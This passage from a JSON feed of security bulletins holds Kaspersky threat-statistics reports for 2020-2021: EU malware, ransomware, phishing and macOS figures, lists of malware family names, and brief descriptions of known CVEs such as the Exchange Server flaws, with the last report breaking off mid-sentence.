for Apple to switch completely to its own processors and unify its software under a single architecture. Unfortunately, just months after the release, [malware writers had already adapted several malware families to the new processor](<https://securelist.com/malware-for-the-new-apple-silicon-platform/101137/>).\n\n### Attempted supply-chain attack using PHP\n\nIn March, [unknown attackers tried to carry out a supply-chain attack by introducing malicious code to the PHP scripting language](<https://www.kaspersky.com/blog/php-git-backdor/39191/>). The developers of PHP make changes to the code using a common repository built on the GIT version control system. The attackers tried to add a backdoor to the code. Fortunately, a developer noticed something suspicious during a routine check. Had they not done so, the backdoor might have allowed attackers to run malicious code remotely on web servers, in around 80 per cent of which (web servers) PHP is used.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-08-12T10:00:37", "type": "securelist", "title": "IT threat evolution Q2 2021", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-0802", "CVE-2019-11510", "CVE-2021-1732", "CVE-2021-27065", "CVE-2021-28310", "CVE-2021-31955", "CVE-2021-31956"], "modified": "2021-08-12T10:00:37", "id": "SECURELIST:934E8AA177A27150B87EC15F920BF350", "href": "https://securelist.com/it-threat-evolution-q2-2021/103597/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-05-26T10:37:33", "description": "\n\n_All statistics in this report are from the global cloud service Kaspersky Security Network (KSN), which receives information from components in our security solutions. The data was obtained from users who have given their consent to it being sent to KSN. Millions of Kaspersky users around the globe assist us in this endeavor to collect information about malicious activity. The statistics in this report cover the period from May 2020 to April 2021, inclusive._\n\n## Main figures\n\n * **70% **of Internet user computers in the EU experienced at least one **Malware-class** attack.\n * In the EU, Kaspersky solutions blocked **115,452,157** web attacks.\n * **2,676,988 **unique URLs were recognized as malicious by our Web Anti-Virus.\n * **377,685 **unique malicious objects were blocked by our Web Anti-Virus.\n * Attempted infections by malware designed to steal money via online access to bank accounts were logged on the devices of **79,315** users.\n * **56,877 **unique users in the EU were attacked by ransomware.\n * **132,656 **unique users in the EU were attacked by miners.\n * **40%** users of Kaspersky solutions in the EU encountered at least one phishing attack.\n * **86,584,675** phishing attempts were blocked by Kaspersky solutions in the EU.\n\n## Financial threats\n\n_The statistics include not only banking threats, but malware for ATMs and payment terminals._\n\n### Number of users attacked by banking malware\n\nDuring the reporting period, Kaspersky solutions blocked attempts to launch one or more malicious programs designed to steal money from bank accounts on the computers of **79,315** users.\n\n_Number of EU users attacked by financial malware, May 2020 \u2013 April 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/19124132/01-en-european-ksb-2021.png>))_\n\n### Threat geography\n\nTo evaluate and compare the risk of being infected by banking Trojans and ATM/POS malware, for each EU country we calculated the share of users of Kaspersky products who faced this threat during the reporting period as a percentage of all attacked users in that country.\n\n_Geography of banking malware attacks in the EU, May 2020 \u2013 April 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/19124226/02-en-european-ksb-2021.png>))_\n\n**Top 10 EU countries by share of attacked users **\n\n| **Country** | **%*** \n---|---|--- \n1 | Cyprus | 1.3 \n2 | Bulgaria | 1.2 \n3 | Greece | 1.1 \n4 | Italy | 1.0 \n5 | Portugal | 1.0 \n6 | Croatia | 0.8 \n7 | Germany | 0.6 \n8 | Latvia | 0.6 \n9 | Poland | 0.6 \n10 | Romania | 0.6 \n \n_* The share of unique users in the EU whose computers were targeted by financial malware in the total number of unique EU users attacked by all kinds of malware._\n\n**Top 10 financial malware families**\n\n| **Name** | **%*** \n---|---|--- \n1 | Zbot | 24.7 \n2 | Nymaim | 11.5 \n3 | Danabot | 9.9 \n4 | Emotet | 8.9 \n5 | CliptoShuffler | 7.7 \n6 | BitStealer | 5.6 \n7 | SpyEyes | 3.5 \n8 | Gozi | 3.4 \n9 | Dridex | 3.2 \n10 | Trickster | 1.9 \n \n_* The share of unique users in the EU attacked by this malware in the total number of users attacked by financial malware._\n\n## Ransomware programs\n\nDuring the reporting period, we identified more than **17,317 **ransomware modifications and detected **25** new families. Note that we did not create a separate family for each new piece of ransomware. Most threats of this type were assigned the generic verdict, which we give to new and unknown samples.\n\n_Number of new ransomware modifications detected in the EU, May 2020 \u2013 April 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/19124303/03-en-european-ksb-2021.png>))_\n\n### Number of users attacked by ransomware Trojans\n\nDuring the reporting period, ransomware Trojans attacked **56,877** unique users, including **12,358** corporate users (excluding SMBs) and **2,274** users associated with small and medium-sized businesses.\n\n_Number of users in the EU attacked by ransomware Trojans, May 2020 \u2013 April 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/19124332/04-en-european-ksb-2021.png>))_\n\n### Threat geography\n\n_Geography of attacks in the EU by ransomware Trojans, May 2020 \u2013 April 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/19124520/05-en-european-ksb-2021.png>))_\n\n**Top 10 EU countries by share of attacked users **\n\n| **Country** | **%*** \n---|---|--- \n1 | Greece | 0.56 \n2 | Cyprus | 0.38 \n3 | Portugal | 0.36 \n4 | Bulgaria | 0.31 \n5 | Hungary | 0.29 \n6 | Italy | 0.29 \n7 | Latvia | 0.28 \n8 | Slovenia | 0.27 \n9 | Spain | 0.26 \n10 | Estonia | 0.23 \n \n_* The share of unique users in the EU country whose computers were targeted by ransomware in the total number of unique users in that country attacked by all kinds of malware._\n\n### Top 10 most common families of ransomware Trojans\n\n| **Name** | **Verdict** | **%*** \n---|---|---|--- \n1 | (generic verdict) | Trojan-Ransom.Win32.Gen | 14.40 \n2 | (generic verdict) | Trojan-Ransom.Win32.Agent | 12.58 \n3 | (generic verdict) | Trojan-Ransom.Win32.Encoder | 10.80 \n4 | (generic verdict) | Trojan-Ransom.Win32.Generic | 5.94 \n5 | Stop | Trojan-Ransom.Win32.Stop | 3.87 \n6 | WannaCry | Trojan-Ransom.Win32.Wanna | 3.20 \n7 | (generic verdict) | Trojan-Ransom.Win32.Crypmod | 2.31 \n8 | (generic verdict) | Trojan-Ransom.Win32.Crypren | 2.30 \n9 | REvil/Sodinokibi | Trojan-Ransom.Win32.Sodin | 1.97 \n10 | (generic verdict) | Trojan-Ransom.Win32.Cryptor | 1.85 \n \n_* The share of unique Kaspersky users attacked by the given family of ransomware Trojans in the total number of users attacked by ransomware Trojans._\n\n## Miners\n\n### Number of users attacked by miners in the EU\n\nDuring the reporting period, we detected attempts to install a miner on the computers of **132,656** unique users. Miners accounted for 0.53% of all attacks and 10.31% of all Risktool-type programs\n\n_Number of EU users attacked by miners, May 2020 \u2013 April 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/19124550/06-en-european-ksb-2021.png>))_\n\nDuring the reporting period, Kaspersky products detected Trojan.Win32.Miner.gen (generic verdict) more often than others, which accounted for 13.62% of all users attacked by miners. It was followed by Trojan.Win32.Miner.bbb (8.67%) and Trojan.JS.Miner.m (2.84%).\n\n### Threat geography\n\n_Geography of miner-related attacks in the EU, May 2020 \u2013 April 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/19124619/07-en-european-ksb-2021.png>))_\n\n## Vulnerable applications used by cybercriminals\n\nIn 2020, most vulnerabilities were discovered by researchers before attackers could exploit them. However, there was no doing without zero-day vulnerabilities, of which Kaspersky found:\n\n * CVE-2020-1380, a use-after-free vulnerability in the Jscript9 component of Microsoft's Internet Explorer browser caused by insufficient checks during the generation of optimized JIT code. This vulnerability was most likely used by the APT group [DarkHotel](<https://securelist.com/the-darkhotel-apt/66779/>) at the first stage of system compromise, after which the payload was delivered by an additional exploit that escalated privileges in the system;\n * CVE-2020-0986 in the GDI Print/Print Spooler component of Microsoft's Windows operating system, enabling manipulation of process memory for arbitrary code execution in the context of a system service process. Exploitation of this vulnerability gives attackers the ability to bypass sandboxes, for example, in the browser.\n\nThe first quarter of 2021 turned out to be rich not only in well-known vulnerabilities, but also in zero-day ones. In particular, both [IT security specialists](<https://securelist.com/zero-day-vulnerabilities-in-microsoft-exchange-server/101096/>) and cybercriminals showed great interest in the new Microsoft Exchange Server vulnerabilities:\n\n * [CVE-2021-26855](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-26855>) \u2014 a Service-Side Request Forgery vulnerability that allows an attacker to make a forged server request and execute arbitrary code (RCE);\n * [CVE-2021-26857](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-26857>) \u2014 insecure object deserialization by the Unified Messaging service, which can lead to arbitrary code execution on the server side;\n * [CVE-2021-26858](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-26858>) \u2014 allows an attacker to write data to server files, which can also lead to remote code execution;\n * [CVE-2021-27065](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-27065>) \u2014 similar to [CVE-2021-26858](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-26858>), this vulnerability allow an authorized Microsoft Exchange user to write arbitrary code to system files.\n\nThese vulnerabilities were found [in-the-wild](<https://encyclopedia.kaspersky.com/glossary/exploitation-in-the-wild-itw/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>) and had been used by APT and ransomware groups.\n\nOne more constellation of vulnerabilities that appeared in the infosec sky was a threesome of critical bugs in the popular SolarWinds Orion Platform \u2013 [CVE-2021-25274](<https://nvd.nist.gov/vuln/detail/CVE-2021-25274>), [CVE-2021-25275](<https://nvd.nist.gov/vuln/detail/CVE-2021-25275>), [CVE-2021-25276](<https://nvd.nist.gov/vuln/detail/CVE-2021-25276>). Successful exploitation of any of them can cause infection of the system where the platform is installed (mostly, enterprise and government PCs).\n\n_Distribution of exploits used in attacks by type of application attacked, May 2020 \u2013 April 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/19124650/08-en-european-ksb-2021.png>))_\n\n_The rating of vulnerable applications is based on verdicts by Kaspersky products for blocked exploits used by cybercriminals both in network attacks and in vulnerable local apps, including on users' mobile devices._\n\nNetwork attacks were the most common method of system penetration, and a significant portion of them is made up of brute-force attacks on various network services: [RDP](<https://securelist.com/remote-spring-the-rise-of-rdp-bruteforce-attacks/96820/>), Microsoft SQL Server, etc. In addition, the year gone by demonstrated that everything in the Windows operating system is cyclical, and that most of the detected vulnerabilities exist in the same services, for example, in the drivers of the SMB (SMBGhost, SMBBleed), DNS (SigRed) and ICMPv6 (BadNeighbor) network protocols. Two critical vulnerabilities (CVE-2020-0609, CVE-2020-0610) were found in the Remote Desktop Gateway service. An interesting vulnerability, dubbed Zerologon, was also discovered in the NetLogon service. In Q1 2021, researchers found three new vulnerabilities in Windows network stack code related to IPv4/IPv6 protocols processing \u2014 [CVE-2021-24074](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-24074>), [CVE-2021-24086](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-24086>) and [CVE-2021-24094](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-24094>). Lastly, despite the fact that exploits for the EternalBlue and EternalRomance families are old, they are still used by attackers.\n\n## Attacks on macOS\n\n**Top 20 threats for macOS**\n\n| **Verdict** | **%*** \n---|---|--- \n1 | Monitor.OSX.HistGrabber.b | 14.50 \n2 | AdWare.OSX.Bnodlero.at | 12.04 \n3 | AdWare.OSX.Bnodlero.ay | 11.42 \n4 | AdWare.OSX.Bnodlero.ax | 10.56 \n5 | AdWare.OSX.Bnodlero.bg | 9.18 \n6 | Trojan-Downloader.OSX.Shlayer.a | 8.06 \n7 | AdWare.OSX.Pirrit.j | 6.23 \n8 | AdWare.OSX.Pirrit.ac | 6.05 \n9 | AdWare.OSX.Ketin.h | 5.30 \n10 | AdWare.OSX.Bnodlero.t | 4.94 \n11 | AdWare.OSX.Bnodlero.av | 4.82 \n12 | Trojan-Downloader.OSX.Agent.h | 4.48 \n13 | AdWare.OSX.Pirrit.o | 4.35 \n14 | AdWare.OSX.Cimpli.k | 3.75 \n15 | AdWare.OSX.Pirrit.gen | 3.75 \n16 | AdWare.OSX.Pirrit.aa | 3.58 \n17 | AdWare.OSX.Ketin.m | 3.22 \n18 | AdWare.OSX.Pirrit.q | 3.20 \n19 | AdWare.OSX.Ketin.l | 3.13 \n20 | AdWare.OSX.Spc.a | 2.87 \n \n_* The share of unique users who encountered this threat in the total number of users of Kaspersky security solutions for macOS who were attacked._\n\n### Threat geography\n\n_Geography of attacked macOS users in EU, May 2020 \u2013 April 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/19124726/09-en-european-ksb-2021.png>))_\n\n**Top 10 EU countries by share of attacked macOS users **\n\n| **Country** | **%*** \n---|---|--- \n1 | France | 15.32 \n2 | Spain | 13.99 \n3 | Italy | 11.43 \n4 | Portugal | 9.75 \n5 | Greece | 9.59 \n6 | Germany | 9.41 \n7 | Hungary | 8.60 \n8 | Lithuania | 8.14 \n9 | Poland | 8.10 \n10 | Belgium | 7.94 \n \n_* The share of unique users attacked in the total number of users of Kaspersky security solutions for macOS in the country._\n\n## IoT attacks\n\n### IoT threat statistics\n\nDuring the reporting period, more than 80% of attacks on Kaspersky traps were carried out using the Telnet protocol.\n\nTelnet | 81.31% \n---|--- \nSSH | 18.69% \n \n_Distribution of attacked services by number of unique IP addresses of devices that carried out attacks, May 2020 \u2013 April 2021_\n\nAs for distribution of sessions, Telnet also prevails, accounting for three quarters of all working sessions.\n\nTelnet | 75.66% \n---|--- \nSSH | 24.34% \n \n_Distribution of cybercriminal working sessions with Kaspersky traps, May 2020 \u2013 April 2021_\n\nAs a result, devices that carried out attacks using the Telnet protocol were selected to build the map of attackers' IP addresses.\n\n_Geography of IP addresses of devices from which attempts were made to attack Kaspersky Telnet traps, May 2020 \u2013 April 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/19124758/10-en-european-ksb-2021.png>))_\n\n**Top 10 countries by location of devices from which attacks were carried out**\n\n| **Country** | **%*** \n---|---|--- \n1 | Greece | 26.84 \n2 | Italy | 18.55 \n3 | Germany | 7.92 \n4 | Spain | 7.46 \n5 | Poland | 5.66 \n6 | France | 5.60 \n7 | Romania | 5.52 \n8 | Sweden | 4.52 \n9 | Netherlands | 3.65 \n10 | Hungary | 2.95 \n \n_* The share of devices from which attacks were carried out in the given country in the total number of devices._\n\n### Malware loaded into honeypots\n\n| **Verdict** | **%*** \n---|---|--- \n1 | Backdoor.Linux.Mirai.b | 42.57 \n2 | Trojan-Downloader.Linux.NyaDrop.b | 20.96 \n3 | Backdoor.Linux.Mirai.ba | 9.79 \n4 | Backdoor.Linux.Gafgyt.a | 5.42 \n5 | Backdoor.Linux.Gafgyt.a | 2.74 \n6 | Backdoor.Linux.Gafgyt.bj | 1.44 \n7 | Trojan-Downloader.Shell.Agent.p | 1.31 \n8 | Backdoor.Linux.Agent.bc | 1.20 \n9 | Backdoor.Linux.Mirai.cw | 1.15 \n10 | Backdoor.Linux.Mirai.cn | 0.82 \n \n_* The share of malware type in the total number of malicious programs downloaded to IoT devices following a successful attack._\n\n## Attacks via web resources\n\n_The statistics in this section are based on Web Anti-Virus, which protects users when malicious objects are downloaded from malicious/infected web pages. Cybercriminals create such sites on purpose, and web resources with user-created content (for example, forums), as well as hacked legitimate resources, can be infected._\n\n### Countries that are sources of web-based attacks\n\n_The following statistics show the distribution by country of the sources of Internet attacks blocked by Kaspersky products on user computers (web pages with redirects to exploits, sites containing exploits and other malicious programs, botnet C&C centers, etc.). Any unique host could be the source of one or more web-based attacks._\n\n_To determine the geographical source of web-based attacks, domain names are matched against their actual domain IP addresses, and then the geographical location of the specific IP address (GeoIP) is established._\n\nKaspersky solutions in the EU blocked **115,452,157 **attacks launched from online resources across the globe. Moreover, 89.33% of these resources were located in just 10 countries.\n\n_Distribution of web attack sources by country, May 2020 \u2013 April 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/19124836/11-en-european-ksb-2021.png>))_\n\n### Countries where users faced the greatest risk of online infection\n\n_To assess the risk of online infection faced by EU users, for each country we calculated the percentage of Kaspersky users on whose computers Web Anti-Virus was triggered during the reporting period. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries._\n\nThis rating only includes attacks by malicious programs that fall under the Malware class; it does not include Web Anti-Virus detections of potentially dangerous or unwanted programs such as RiskTool or adware. Overall, during the reporting period, adware and its components were registered on **89.60%** of users' computers on which Web Anti-Virus was triggered.\n\n_Geography of malicious web-based attacks, May 2020 \u2013 April 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/19124905/12-en-european-ksb-2021.png>))_\n\nOn average, **13.70% **of Internet user computers in the EU experienced at least one Malware-class attack during the reporting period.\n\n**Top 10 EU countries where users faced the greatest risk of online infection**\n\n| **Country** | **%*** \n---|---|--- \n1 | Latvia | 21.11 \n2 | Greece | 18.50 \n3 | Estonia | 17.52 \n4 | France | 16.81 \n5 | Bulgaria | 14.86 \n6 | Italy | 14.76 \n7 | Portugal | 14.44 \n8 | Lithuania | 14.21 \n9 | Hungary | 13.82 \n10 | Poland | 13.17 \n \n_* The share of unique users targeted by Malware-class attacks in the total number of unique users of Kaspersky products in the country._\n\n### Top 20 malicious programs most actively used in online attacks\n\nDuring the reporting period, Kaspersky's Web Anti-Virus detected **377,685 **unique malicious objects (scripts, exploits, executable files, etc.), as well as **2,676,988 **unique malicious URLs on which Web Anti-Virus was triggered. Based on the collected data, we identified the 20 most actively used malicious programs in online attacks on users' computers.\n\n| **Verdict*** | **%**** \n---|---|--- \n1 | Blocked | 49.22 \n2 | Trojan.Script.Generic | 12.52 \n3 | Hoax.HTML.FraudLoad.m | 8.38 \n4 | Trojan.PDF.Badur.gen | 2.46 \n5 | Trojan.Script.Agent.dc | 2.16 \n6 | Trojan.Multi.Preqw.gen | 2.11 \n7 | Trojan-Downloader.Script.Generic | 1.99 \n8 | Trojan.Script.Miner.gen | 1.56 \n9 | Exploit.MSOffice.CVE-2017-11882.gen | 1.02 \n10 | Trojan-PSW.Script.Generic | 0.91 \n11 | DangerousObject.Multi.Generic | 0.74 \n12 | Trojan.BAT.Miner.gen | 0.74 \n13 | Trojan.MSOffice.SAgent.gen | 0.60 \n14 | Trojan.Script.SAgent.gen | 0.50 \n15 | Trojan-Downloader.MSOffice.SLoad.gen | 0.47 \n16 | Trojan-Downloader.Win32.Upatre.pef | 0.33 \n17 | Trojan-Downloader.JS.Inor.a | 0.30 \n18 | Trojan-Downloader.MSWord.Agent.btl | 0.30 \n19 | Hoax.Script.Dating.gen | 0.27 \n20 | Trojan-Downloader.JS.SLoad.gen | 0.27 \n \n_* Excluded from the list are HackTool-type threats._\n\n_** The share of attacks by the given malicious program in the total number of Malware-class web attacks registered on the computers of unique users of Kaspersky products._\n\n## Local threats\n\n_Statistics on local infections of user computers is an important indicator. They include objects that penetrated the target computer through infecting files or removable storage media, or initially made their way onto the computer in non-open form (for example, programs in complex installers, encrypted files, etc.). These statistics additionally include objects detected on user computers after the first system scan by Kaspersky's Anti-Virus application._\n\n_This section analyzes statistics produced by Anti-Virus scans of files on the hard drive at the moment they were created or accessed, as well as the results of scanning removable storage media._\n\n### Countries where users faced the highest risk of local infection\n\n_For each country in the EU, we calculated how often users there encountered a File Anti-Virus triggering during the year. Included are detections of objects found on user computers or removable media connected to them (flash drives, camera/phone memory cards, external hard drives). These statistics reflect the level of personal computer infection in different countries._\n\n_Geography of local infections by malware, May 2020 \u2013 April 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/19124941/13-en-european-ksb-2021.png>))_\n\nDuring the reporting period, on average, at least one piece of malware was detected on **18.77%** of computers, hard drives or removable media belonging to KSN users in the EU.\n\n**Top 10 EU countries where users faced the greatest risk of local infection**\n\n| **Country** | **%*** \n---|---|--- \n1 | Greece | 32.60 \n2 | Bulgaria | 31.55 \n3 | Latvia | 31.38 \n4 | Estonia | 29.48 \n5 | Hungary | 27.88 \n6 | Lithuania | 27.11 \n7 | Portugal | 26.01 \n8 | Cyprus | 25.43 \n9 | Italy | 24.64 \n10 | Spain | 23.57 \n \n_* The share of unique users on whose computers Malware-class local threats were blocked in the total number of unique users of Kaspersky products in the country._\n\n### Top 20 malicious objects detected on user computers\n\nWe identified the 20 most commonly detected threats on EU users' computers during the reporting period. Not included are Riskware-type programs and adware.\n\n| **Verdict*** | **%**** \n---|---|--- \n1 | DangerousObject.Multi.Generic | 19.45 \n2 | Trojan.Multi.BroSubsc.gen | 18.53 \n3 | Trojan.Script.Generic | 8.29 \n4 | Trojan.Multi.GenAutorunReg.a | 7.08 \n5 | Trojan.Multi.Misslink.a | 6.75 \n6 | Hoax.Win32.DriverToolKit.b | 2.77 \n7 | Trojan.MSOffice.SAgent.gen | 2.63 \n8 | Exploit.Script.Generic | 2.25 \n9 | Trojan.Win32.SEPEH.gen | 2.00 \n10 | Trojan-Downloader.Script.Generic | 1.91 \n11 | Worm.Win32.WBVB | 1.53 \n12 | Hoax.Win32.Uniblue.gen | 1.33 \n13 | Trojan.Script.Agent.gen | 1.29 \n14 | Trojan-Dropper.Win32.Scrop.adwo | 1.17 \n15 | Trojan.Multi.GenAutorunTask.c | 1.16 \n16 | Trojan.Win32.Generic | 1.12 \n17 | Trojan.Multi.GenBadur.gen | 1.10 \n18 | Trojan.BAT.Miner.gen | 1.09 \n19 | Trojan.Multi.GenAutorunTask.b | 1.07 \n20 | Trojan.Multi.GenAutorunTaskFile.a | 1.05 \n \n_* Excluded from the list are HackTool-type threats._\n\n_** The share of unique users on whose computers File Anti-Virus detected the given object in the total number of unique users of Kaspersky products whose Anti-Virus was triggered by malware._\n\n## Phishing in the EU\n\n### Phishing trends\n\n * **Cloud phishing**\n\nWe observed that the number of EU-targeted phishing resources on cloud platforms and hosting sites approximately doubled during the reporting period.\n\n * **Cryptocurrency**\n\nThe number of cryptocurrency-related phishing detections tripled. This category consists of fraudulent sites somehow linked to cryptocurrencies: in most cases, they are fake crypto exchanges that require users to invest money to gain access to an account that allegedly already contain complimentary currency. In fact, users just lose their own money if they try to buy access to such sites.\n\nAnother particularly interesting type of phishing we observed in the EU is a mixture of cryptocurrency and COVID-19 themes: fake sites offering COVID-19 vaccines for cryptocurrency.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/19131933/European_KSB_2021.jpeg>)\n\n**_Example of fake COVID-19 vaccine offer_**\n\n * **Targeted extortion**\n\nIn late August 2020, we saw some unusual extortion messages. In them, cybercriminals claimed to have planted TNT somewhere in the recipient's office, saying it would be detonated unless a ransom was paid or if police activity was observed near the building.\n\nWhereas individuals are asked to cough up the equivalent of $500\u20131,000 in bitcoin (the maximum we saw was around $5,000), for companies supposedly rigged with explosives the amount rises to roughly $20,000. The bulk of the scam e-mails are written in German, but we found English versions as well.\n\n * **Microsoft Office spear phishing**\n\nThe trend for harvesting Microsoft 365 credentials through spear phishing continues to evolve. Such phishing e-mails normally contain a hyperlink to a fake website. Sure enough, once many people had absorbed that simple precaution, phishers began replacing the links with attached HTML files, the sole purpose of which is to automate redirection. Clicking on the HTML attachment opens it in a browser. As far as the phishing aspect goes, the file has just one line of code (javascript: window.location.href) with the phishing website address as a variable. It forces the browser to open the website in the same window.\n\n### Phishing attacks\n\nIn total, **86,584,675** phishing attempts were blocked by Kaspersky solutions in the EU, representing 21.89% of all phishing attacks around the world during the reporting period.\n\n_EU share of phishing detections, April 2020 \u2013 April 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/19125028/15-en-european-ksb-2021.png>))_\n\n### Threat geography\n\nDuring the reporting period, approximately **13.4%** users of Kaspersky solutions in the EU encountered at least one phishing attack.\n\n_Geography of EU phishing, April 2020 \u2013 April 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/19125056/14-en-european-ksb-2021.png>))_\n\n**Top 10 EU countries where users faced phishing attacks**\n\n| **Country** | **%*** \n---|---|--- \n1 | Portugal | 18.34 \n2 | France | 17.98 \n3 | Belgium | 15.10 \n4 | Greece | 14.98 \n5 | Hungary | 14.87 \n6 | Italy | 14.44 \n7 | Slovakia | 12.77 \n8 | Spain | 12.74 \n9 | Poland | 12.47 \n10 | Latvia | 12.26 \n \n_* The share of unique users targeted by phishing attacks in the total number of unique users of Kaspersky products in the country._\n\n### Organizations under attack\n\n_The rating of organizations targeted by phishers is based on the triggering of the deterministic component in the Anti-Phishing system on user computers. The component detects all pages with phishing content that the user has tried to open by following a link in an e-mail message or on the web, as long as links to these pages are present in the Kaspersky database._\n\nPandemic-related events affected the distribution of phishing attacks across the categories of targeted organizations. However, the largest categories remained unchanged as they have done for several years: in the EU during reporting period, these were Global Internet portals (16.08%), Online stores (15.73%) and Payment systems (13.67%).\n\n_Share of phishing categories in the EU, April 2020 \u2013 April 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/19125126/16-en-european-ksb-2021.png>))_\n\n### Top-level domain (TLD) usage\n\nIn the share of EU top-level domains (TLDs), we include all national TLDs belonging to EU member states. In the reporting period, this share amounted to 7.27%.\n\n_Distribution of phishing domains by top-level domain, April 2020 \u2013 April 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/19125153/17-en-european-ksb-2021.png>))_\n\nThe share decreased significantly (-3 p.p.) at the end of 2020, but in Q1 2021 we observed a slight increase to 5.26%.\n\n_Timeline of share of EU top-level domains, Q2 2020 \u2013 Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/19125220/18-en-european-ksb-2021.png>))_\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/19134557/eu_flag.jpg>) | **The project leading to this report has received funding from the European Union's Horizon 2020 research and innovation programme under grant agreement No 883464.** \n---|---", "cvss3": {}, "published": "2021-05-26T10:00:32", "type": "securelist", "title": "Kaspersky Security Bulletin 2020-2021. EU statistics", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2017-11882", "CVE-2020-0609", "CVE-2020-0610", "CVE-2020-0986", "CVE-2020-1380", "CVE-2021-24074", "CVE-2021-24086", "CVE-2021-24094", "CVE-2021-25274", "CVE-2021-25275", "CVE-2021-25276", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-05-26T10:00:32", "id": "SECURELIST:322E7EEAE549CDB14513C2EDB141B8BA", "href": "https://securelist.com/kaspersky-security-bulletin-2020-2021-eu-statistics/102335/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-05-31T11:03:47", "description": "\n\n_These statistics are based on detection verdicts of Kaspersky products received from users who consented to provide statistical data._\n\n## Quarterly figures\n\nAccording to Kaspersky Security Network, in Q1 2021:\n\n * Kaspersky solutions blocked 2,023,556,082 attacks launched from online resources across the globe.\n * 613,968,631 unique URLs were recognized as malicious by Web Anti-Virus components.\n * Attempts to run malware designed to steal money via online access to bank accounts were stopped on the computers of 118,099 users.\n * Ransomware attacks were defeated on the computers of 91,841 unique users.\n * Our File Anti-Virus detected 77,415,192 unique malicious and potentially unwanted objects.\n\n## Financial threats\n\n### Financial threat statistics\n\nAt the end of last year, the number of users attacked by malware designed to steal money from bank accounts gradually decreased, a trend that continued in Q1 2021. This quarter, in total, Kaspersky solutions blocked the malware of such type on the computers of 118,099 unique users.\n\n_Number of unique users attacked by financial malware, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24110545/01-en-malware-report-q1-2021-pc.png>))_\n\n**Attack geography**\n\n_To evaluate and compare the risk of being infected by banking Trojans and ATM/POS malware worldwide, for each country we calculated the share of users of Kaspersky products who faced this threat during the reporting period as a percentage of all users of our products in that country._\n\n_Geography of financial malware attacks, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24110629/02-en-malware-report-q1-2021-pc.png>))_\n\n**Top 10 countries by share of attacked users**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Turkmenistan | 6.3 \n2 | Tajikistan | 5.3 \n3 | Afghanistan | 4.8 \n4 | Uzbekistan | 4.6 \n5 | Paraguay | 3.2 \n6 | Yemen | 2.1 \n7 | Costa Rica | 2.0 \n8 | Sudan | 2.0 \n9 | Syria | 1.5 \n10 | Venezuela | 1.4 \n \n_* Excluded are countries with relatively few Kaspersky product users (under 10,000). \n** Unique users whose computers were targeted by financial malware as a percentage of all unique users of Kaspersky products in the country._\n\nAs before, the most widespread family of bankers in Q1 was ZeuS/Zbot (30.8%). Second place was taken by the CliptoShuffler family (15.9%), and third by Trickster (7.5%). All in all, more than half of all attacked users encountered these families. The notorious banking Trojan Emotet (7.4%) was deprived of its infrastructure this quarter as a result of a [joint 